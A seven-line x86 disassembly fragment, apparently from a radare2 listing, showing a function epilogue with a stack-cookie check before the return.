mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10073919
mov esp, ebp
pop ebp
ret 4